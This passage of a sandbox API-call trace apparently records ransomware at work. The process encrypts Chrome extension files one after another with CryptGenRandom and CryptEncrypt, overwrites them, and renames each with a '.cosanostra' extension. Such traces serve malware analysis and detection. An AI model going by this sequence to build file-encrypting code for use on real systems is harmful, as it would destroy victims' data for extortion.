lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0xd7, lpNumberOfBytesWritten=0x26ff8a4, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x26ff8a4*=0xd7, lpOverlapped=0x0) returned 1 [0087.203] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.203] WriteFile (in: hFile=0x18c, lpBuffer=0x26ff8e4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff8a4, lpOverlapped=0x0 | out: lpBuffer=0x26ff8e4*, lpNumberOfBytesWritten=0x26ff8a4*=0x4, lpOverlapped=0x0) returned 1 [0087.203] WriteFile (in: hFile=0x18c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff8a4, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff8a4*=0x30, lpOverlapped=0x0) returned 1 [0087.203] CloseHandle (hObject=0x18c) returned 1 [0087.203] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\messages.json.cosanostra") returned 166 [0087.203] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\messages.json.cosanostra")) returned 1 [0087.205] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff8e0 | out: pbBuffer=0x26ff8e0) returned 1 [0087.205] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff8d8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff8d8*=0x30) returned 1 [0087.205] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0087.205] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\messages.json") returned 155 [0087.205] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0087.206] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xfffffeb4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.206] WriteFile (in: hFile=0x18c, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0x14c, lpNumberOfBytesWritten=0x26ff89c, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x26ff89c*=0x14c, lpOverlapped=0x0) returned 1 [0087.206] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.206] WriteFile (in: hFile=0x18c, lpBuffer=0x26ff8dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff89c, lpOverlapped=0x0 | out: lpBuffer=0x26ff8dc*, lpNumberOfBytesWritten=0x26ff89c*=0x4, lpOverlapped=0x0) returned 1 [0087.206] WriteFile (in: hFile=0x18c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff89c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff89c*=0x30, lpOverlapped=0x0) returned 1 [0087.206] CloseHandle (hObject=0x18c) returned 1 [0087.207] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\messages.json.cosanostra") returned 166 [0087.207] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\messages.json.cosanostra")) returned 1 [0087.208] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff8d8 | out: pbBuffer=0x26ff8d8) returned 1 [0087.208] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff8d0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff8d0*=0x30) returned 1 [0087.208] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0087.208] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv\\messages.json") returned 159 [0087.208] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0087.222] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xfffffd77, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.222] WriteFile (in: hFile=0x18c, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0x289, lpNumberOfBytesWritten=0x26ff894, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x26ff894*=0x289, lpOverlapped=0x0) returned 1 [0087.222] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.222] WriteFile (in: hFile=0x18c, lpBuffer=0x26ff8d4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff894, lpOverlapped=0x0 | out: lpBuffer=0x26ff8d4*, lpNumberOfBytesWritten=0x26ff894*=0x4, lpOverlapped=0x0) returned 1 [0087.222] WriteFile (in: hFile=0x18c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff894, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff894*=0x30, lpOverlapped=0x0) returned 1 [0087.222] CloseHandle (hObject=0x18c) returned 1 [0087.222] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv\\messages.json.cosanostra") returned 170 [0087.222] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv\\messages.json.cosanostra")) returned 1 [0087.223] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff8d8 | out: pbBuffer=0x26ff8d8) returned 1 [0087.223] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff8d0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff8d0*=0x30) returned 1 [0087.223] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0087.224] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk\\messages.json") returned 159 [0087.224] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0087.237] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xfffffd61, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.237] WriteFile (in: hFile=0x18c, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0x29f, lpNumberOfBytesWritten=0x26ff894, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x26ff894*=0x29f, lpOverlapped=0x0) returned 1 [0087.237] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.237] WriteFile (in: hFile=0x18c, lpBuffer=0x26ff8d4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff894, lpOverlapped=0x0 | out: lpBuffer=0x26ff8d4*, lpNumberOfBytesWritten=0x26ff894*=0x4, lpOverlapped=0x0) returned 1 [0087.237] WriteFile (in: hFile=0x18c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff894, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff894*=0x30, lpOverlapped=0x0) returned 1 [0087.238] CloseHandle (hObject=0x18c) returned 1 [0087.239] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk\\messages.json.cosanostra") returned 170 [0087.239] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk\\messages.json.cosanostra")) returned 1 [0087.253] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff8d0 | out: pbBuffer=0x26ff8d0) returned 1 [0087.253] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff8c8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff8c8*=0x30) returned 1 [0087.253] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x16c [0087.255] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.html") returned 162 [0087.255] StrStrW (lpFirst="cast_route_details.html", lpSrch=".txt") returned 0x0 [0087.256] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.257] WriteFile (in: hFile=0x16c, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff88c, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x26ff88c*=0x2800, lpOverlapped=0x0) returned 1 [0087.257] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.257] WriteFile (in: hFile=0x16c, lpBuffer=0x26ff8cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff88c, lpOverlapped=0x0 | out: lpBuffer=0x26ff8cc*, lpNumberOfBytesWritten=0x26ff88c*=0x4, lpOverlapped=0x0) returned 1 [0087.257] WriteFile (in: hFile=0x16c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff88c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff88c*=0x30, lpOverlapped=0x0) returned 1 [0087.257] CloseHandle (hObject=0x16c) returned 1 [0087.257] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.html.cosanostra") returned 173 [0087.257] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.html"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.html.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.html.cosanostra")) returned 1 [0087.258] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff8d0 | out: pbBuffer=0x26ff8d0) returned 1 [0087.258] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff8c8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff8c8*=0x30) returned 1 [0087.258] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\background_script.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\background_script.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x16c [0087.259] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\background_script.js") returned 159 [0087.259] StrStrW (lpFirst="background_script.js", lpSrch=".txt") returned 0x0 [0087.273] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.273] WriteFile (in: hFile=0x16c, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff88c, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x26ff88c*=0x2800, lpOverlapped=0x0) returned 1 [0087.273] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.273] WriteFile (in: hFile=0x16c, lpBuffer=0x26ff8cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff88c, lpOverlapped=0x0 | out: lpBuffer=0x26ff8cc*, lpNumberOfBytesWritten=0x26ff88c*=0x4, lpOverlapped=0x0) returned 1 [0087.273] WriteFile (in: hFile=0x16c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff88c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff88c*=0x30, lpOverlapped=0x0) returned 1 [0087.273] CloseHandle (hObject=0x16c) returned 1 [0087.274] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\background_script.js.cosanostra") returned 170 [0087.274] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\background_script.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\background_script.js"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\background_script.js.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\background_script.js.cosanostra")) returned 1 [0087.274] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff8c8 | out: pbBuffer=0x26ff8c8) returned 1 [0087.275] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff8c0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff8c0*=0x30) returned 1 [0087.275] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\angular.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\angular.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x16c [0087.275] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\angular.js") returned 149 [0087.275] StrStrW (lpFirst="angular.js", lpSrch=".txt") returned 0x0 [0087.292] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.292] WriteFile (in: hFile=0x16c, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff884, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x26ff884*=0x2800, lpOverlapped=0x0) returned 1 [0087.293] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.293] WriteFile (in: hFile=0x16c, lpBuffer=0x26ff8c4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff884, lpOverlapped=0x0 | out: lpBuffer=0x26ff8c4*, lpNumberOfBytesWritten=0x26ff884*=0x4, lpOverlapped=0x0) returned 1 [0087.304] WriteFile (in: hFile=0x16c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff884, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff884*=0x30, lpOverlapped=0x0) returned 1 [0087.304] CloseHandle (hObject=0x16c) returned 1 [0087.304] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\angular.js.cosanostra") returned 160 [0087.304] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\angular.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\angular.js"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\angular.js.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\angular.js.cosanostra")) returned 1 [0087.305] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff8c0 | out: pbBuffer=0x26ff8c0) returned 1 [0087.306] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff8b8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff8b8*=0x30) returned 1 [0087.306] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x16c [0087.306] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lt\\messages.json") returned 159 [0087.306] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0087.342] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0xfffffd52, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.342] WriteFile (in: hFile=0x16c, lpBuffer=0x301e380*, nNumberOfBytesToWrite=0x2ae, lpNumberOfBytesWritten=0x26ff87c, lpOverlapped=0x0 | out: lpBuffer=0x301e380*, lpNumberOfBytesWritten=0x26ff87c*=0x2ae, lpOverlapped=0x0) returned 1 [0087.343] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.343] WriteFile (in: hFile=0x16c, lpBuffer=0x26ff8bc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff87c, lpOverlapped=0x0 | out: lpBuffer=0x26ff8bc*, lpNumberOfBytesWritten=0x26ff87c*=0x4, lpOverlapped=0x0) returned 1 [0087.343] WriteFile 